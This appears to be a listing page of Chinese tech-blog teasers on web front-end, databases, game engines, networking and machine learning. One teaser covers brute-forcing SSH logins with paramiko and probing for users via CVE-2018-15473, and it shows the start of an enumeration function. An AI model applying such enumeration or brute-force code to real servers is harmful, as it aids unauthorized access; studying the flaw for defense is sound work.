目录 1. rem基础 2.媒体查询 2.1 语法规范 2.2 媒体查询rem 2.3 引入资源(理解) 3. less基础 3.1 维护css的弊端 3.2 less介绍 3.3 less变量 3.4 less编译 3.5 less嵌套 3.6 less运算 4. rem适配方案 4.1 rem实际开发 4.2 技术使用 4.3 …...

25年携程校招社招求职能力北森测评材料计算部分:备考要点与误区解析
在求职过程中,能力测评是筛选候选人的重要环节之一。对于携程这样的知名企业,其能力测评中的材料计算部分尤为关键。许多求职者在备考时容易陷入误区,导致在考试中表现不佳。本文将深入解析材料计算部分的实际考察方向,并提供针对…...

【Elasticsearch入门到落地】9、hotel数据结构分析
接上篇《8、RestClient操作索引库-基础介绍及导入demo》 上一篇我们介绍了RestClient的基础,并导入了使用Java语言编写的RestClient程序Demo以及将要分析的数据库。本篇我们就要分析导入的宾馆数据库tb_hotel表结构的具体含义,并分析如何建立其索引库。 …...

现代互联网网络安全与操作系统安全防御概要
现阶段国与国之间不用对方路由器,其实是有道理的,路由器破了,内网非常好攻击,内网共享开放端口也非常多,更容易攻击。还有些内存系统与pe系统自带浏览器都没有javascript脚本功能,也是有道理的,…...

轻量级TCC框架的实现
现有seata、tcc-transaction等tcc框架实现都较为重量级,今天主要带来一种轻量级的实现,大概只用了1200行代码实现。不依赖具体框架grpc、http、dubbo等,只需要业务系统按照标准化实现Try、Commit、Cancel实现接口即可。 已解决悬挂、幂等、空…...

共绘智慧升级,看永洪科技助力由由集团起航智慧征途
在数字化洪流汹涌澎湃的当下,企业如何乘风破浪,把握转型升级的黄金机遇,已成为所有企业必须直面的时代命题。由由集团,作为房地产的领航者,始终以前瞻视野引领变革,坚决拥抱数字化浪潮,携手数字…...

小程序开发总结
今年第一次帮别人做小程序。 从开始动手到完成上线,一共耗时两天。AI 让写代码变得简单、高效。 不过,小程序和 Flutter 等大厂开发框架差距实在太大,导致我一开始根本找不到感觉。 第一,IDE 不好用,各种功能杂糅在…...

元脑服务器:浪潮信息引领AI基础设施的创新与发展
根据国际著名研究机构GlobalData于2月19日发布的最新报告,浪潮信息在全球数据中心领域的竞争力评估中表现出色,凭借其在算力算法、开放加速计算和液冷技术等方面的创新,获得了“Leader”评级。在创新、增长力与稳健性两个主要维度上ÿ…...

uniapp+node+mysql接入deepseek实现流式输出
node import express from express; import mysql from mysql2; import cors from cors; import bodyParser from body-parser; import axios from axios; import { WebSocketServer } from ws; // 正确导入 WebSocketServerconst app express();// Middlewares app.use(cors…...

PHP MySQL 创建数据库
PHP MySQL 创建数据库 引言 在网站开发中,数据库是存储和管理数据的核心部分。PHP 和 MySQL 是最常用的网页开发语言和数据库管理系统之一。本文将详细介绍如何在 PHP 中使用 MySQL 创建数据库,并对其操作进行详细讲解。 前提条件 在开始创建数据库之…...

UE4 World, Level, LevelStreaming从入门到深入
前言 在《塞尔达传说:旷野之息》中,玩家攀上初始高塔的瞬间,目光所及的山川湖泊皆可抵达;在《艾尔登法环》中,黄金树的辉光始终悬于地平线之上,指引玩家穿越无缝衔接的史诗战场。这些现代游戏杰作背后的核…...

3月8日实验
拓扑: 需求: 1.学校内部的HTTP客户端可以正常通过域名www.baidu.com访问到白度网络中的HTTP服务器 2.学校网络内部网段基于192.168.1.0/24划分,PC1可以正常访问3.3.3.0/24网段,但是PC2不允许 3.学校内部路由使用静态路由&#…...

IO多路复用实现并发服务器
一.select函数 select 的调用注意事项 在使用 select 函数时,需要注意以下几个关键点: 1. 参数的修改与拷贝 readfds 等参数是结果参数 : select 函数会直接修改传入的 fd_set(如 readfds、writefds 和 exceptfds…...
【漫话机器学习系列】122.相关系数(Correlation Coefficient)
深入理解相关系数(Correlation Coefficient) 1. 引言 在数据分析、统计学和机器学习领域,研究变量之间的关系是至关重要的任务。我们常常想知道:当一个变量变化时,另一个变量是否也会随之变化?如果会&…...

控制系统分类
文章目录 定义与特点1. 自治系统(Autonomous System)与非自治系统(Non-Autonomous System)自治系统非自治系统 2. 线性系统(Linear System)与非线性系统(Nonlinear System)线性系统非…...

文档操作方法得合理使用
博主介绍:✌全网粉丝5W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验…...

Python asyncIO 面试题及参考答案 草
目录 如何正确定义一个协程函数?直接调用协程会引发什么问题? 使用 async def 定义的协程与普通函数执行流程有何本质区别? 解释 asyncio.run () 的作用及与手动管理事件循环的差异 为什么协程中必须使用 await 而非 yield 挂起操作? 写出通过 async for 实现异步迭代器…...

计算机网络——交换机
一、什么是交换机? 交换机(Switch)是局域网(LAN)中的核心设备,负责在 数据链路层(OSI第二层)高效转发数据帧。它像一位“智能交通警察”,根据设备的 MAC地址 精准引导数…...

matlab和FPGA联合仿真时读写.txt文件数据的方法
在FPGA开发过程中,往往需要将MATLAB生成的数据作为原始激励灌入FPGA进行仿真。为了验证FPGA计算是否正确,又需要将FPGA计算结果导入MATLAB绘图与MATLAB计算结果对比。 下面是MATLAB“写.txt”、“读.txt”,Verilog“读.txt”、“写.txt”的代…...

解锁DeepSpeek-R1大模型微调:从训练到部署,打造定制化AI会话系统
目录 1. 前言 2.大模型微调概念简述 2.1. 按学习范式分类 2.2. 按参数更新范围分类 2.3. 大模型微调框架简介 3. DeepSpeek R1大模型微调实战 3.1.LLaMA-Factory基础环境安装 3.1大模型下载 3.2. 大模型训练 3.3. 大模型部署 3.4. 微调大模型融合基于SpirngBootVue2…...

【分布式】聊聊分布式id实现方案和生产经验
对于分布式Id来说,在面试过程中也是高频面试题,所以主要针对分布式id实现方案进行详细分析下。 应用场景 对于无论是单机还是分布式系统来说,对于很多场景需要全局唯一ID, 数据库id唯一性日志traceId 可以方便找到日志链&#…...

uniapp或者vue 使用serialport
参考https://blog.csdn.net/ykee126/article/details/90440499 版本是第一位:否则容易编译失败 node 版本 18.14.0 npm 版本 9.3.1 electron 版本 30.0.8 electron-rebuild 版本 3.2.9 serialport 版本 10.0.0 需要python环境 main.js // Modules to control app…...

机器学习12-视觉识别任务
机器学习12-视觉识别任务 分类语义分割滑动窗口滑动窗口的实现思路优点缺点现代替代方法 全卷积(Fully Convolutional Networks, FCN)FCN 的工作原理FCN 的性能优势FCN 的应用案例FCN 的局限性改进方向下采样可学习的上采样:转置卷积 目标检测区域建议Se…...

使用paramiko爆破ssh登录
一.确认是否存在目标主机是否存在root用户 重跑 CVE-2018-15473用户名枚举漏洞 检测: import paramiko from paramiko.ssh_exception import AuthenticationExceptiondef check_user(username, hostname, port):ssh paramiko.SSHClient()ssh.set_missing_host_key…...

游戏引擎学习第146天
音高变化使得对齐读取变得不可能,我们可以支持循环声音了。 我们今天的目标是完成之前一段时间所做的音频代码。这个项目并不依赖任何引擎或库,而是一个教育项目,目的是展示从头到尾运行一个游戏所需要的全部代码。无论你对什么方面感兴趣&a…...

装饰器模式--RequestWrapper、请求流request无法被重复读取
目录 前言一、场景二、原因分析三、解决四、更多 前言 曾经遇见这么一段代码,能看出来是把request又重新包装了一下,核心信息都不会改变 后面了解到这叫 装饰器模式(Decorator Pattern) :也称为包装模式(Wrapper Pat…...

【算法题】小鱼的航程
问题: 分析 分析题目,可以看出,给你一个开始的星期,再给一个总共天数,在这些天内,只有周六周日休息,其他全要游泳250公里。 那分支处理好啦 当星期为6时,需要消耗2天,…...